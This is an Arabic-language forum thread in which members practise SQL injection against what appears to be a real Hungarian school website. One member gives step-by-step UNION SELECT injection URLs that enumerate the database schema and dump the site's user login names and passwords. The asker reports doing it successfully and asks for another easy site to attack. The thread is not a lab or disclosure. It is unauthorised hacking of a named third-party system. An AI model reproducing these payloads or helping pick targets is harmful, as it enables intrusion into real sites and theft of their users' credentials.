سؤال بسيط فى دورة sql

تم العثور على الاسم والباص بس لسة فية تكملة بس اوحشة الموقع دة ان الاسم والباص انا مش شايفهم اصلا الموقع حد يجبهولى منة
وانا هاجرب شوية حجات
http://szerver2.berzeviczy.sulinet.hu/submenu.php?id=-1 UNION SELECT concat(table_name,0x3a,column_name,0x3a,table_sche ma),2,3,4,5,6,7,8+from+information_schema.columns+ where+column_name+LIKE+CHAR(37, 112, 97, 115, 37)--

أخي الكريم، للأسف يظهر أنك لا زلت مبتدأ في الـSQL مازال الوقت طويل أمامك

راح تكون هذه آخر مساعدة أقدر أعملهالك

و راح أشرح لك حقن هذا الموقع خطوة خطوة بدون أي صعوبة

لنبدأ على بركة الله :

الموقع مصاب و الدليل لما نضع الـ(') شوف :
['CODE]http://szerver2.berzeviczy.sulinet.hu/submenu.php?id=1
[/CODE]

الآن راح نشوف عدد الأعمدة عن طريق الأمر order by و راح نجد العمود المصاب هو 1 و العمود يظهر يسار الصفحة كأنه عنوان و هذه هي الحقنة لحد الآن :

http://szerver2.berzeviczy.sulinet.hu/submenu.php?id=-1 UNION SELECT 1,2,3,4,5,6,7,8--

http://szerver2.berzeviczy.sulinet.hu/submenu.php?id=-1 UNION SELECT concat(table_name,0x3a,column_name,0x3a,table_schema),2,3,4,5,6,7,8+from+information_schema.columns--

http://szerver2.berzeviczy.sulinet.hu/submenu.php?id=-1 UNION SELECT concat(table_name,0x3a,column_name,0x3a,table_schema),2,3,4,5,6,7,8+from+information_schema.columns+where+column_name+like+CHAR(37, 112, 97, 115, 37)--

http://szerver2.berzeviczy.sulinet.hu/submenu.php?id=-1 UNION SELECT concat(table_name,0x3a,column_name,0x3a,table_schema),2,3,4,5,6,7,8+from+information_schema.columns+where+table_name=0x7573657273--

http://szerver2.berzeviczy.sulinet.hu/submenu.php?id=-1 UNION SELECT concat(login_name,0x3a,passwd),2,3,4,5,6,7,8+from+users--

انا عملت كدة عل ى فكرة وشوف الرد فى فوق دة علطول هتلاقينى عملتة بس الباص مش شايفة اوى
الصورة مخبية علية انا كدة فرحان لانى عرفت وماشى صح شكرا ليك

لا شكر على واجب، أنا رجعت للمنتدى لأخدم أعضائه

بالتوفيق إن شاء الله و أتمنى أنك تسجل الشرح كإجابة للموضوع

حتى يستفاد الأعضاء الباقون

بالتوفيق

تم يا غالى بس انا عايز اخر طلب من حضرتك اخر طلب بس عايز كمان موقع واحد سهل بردو اجرب علية اشوف كدة انا بقيت حلو ولا لسة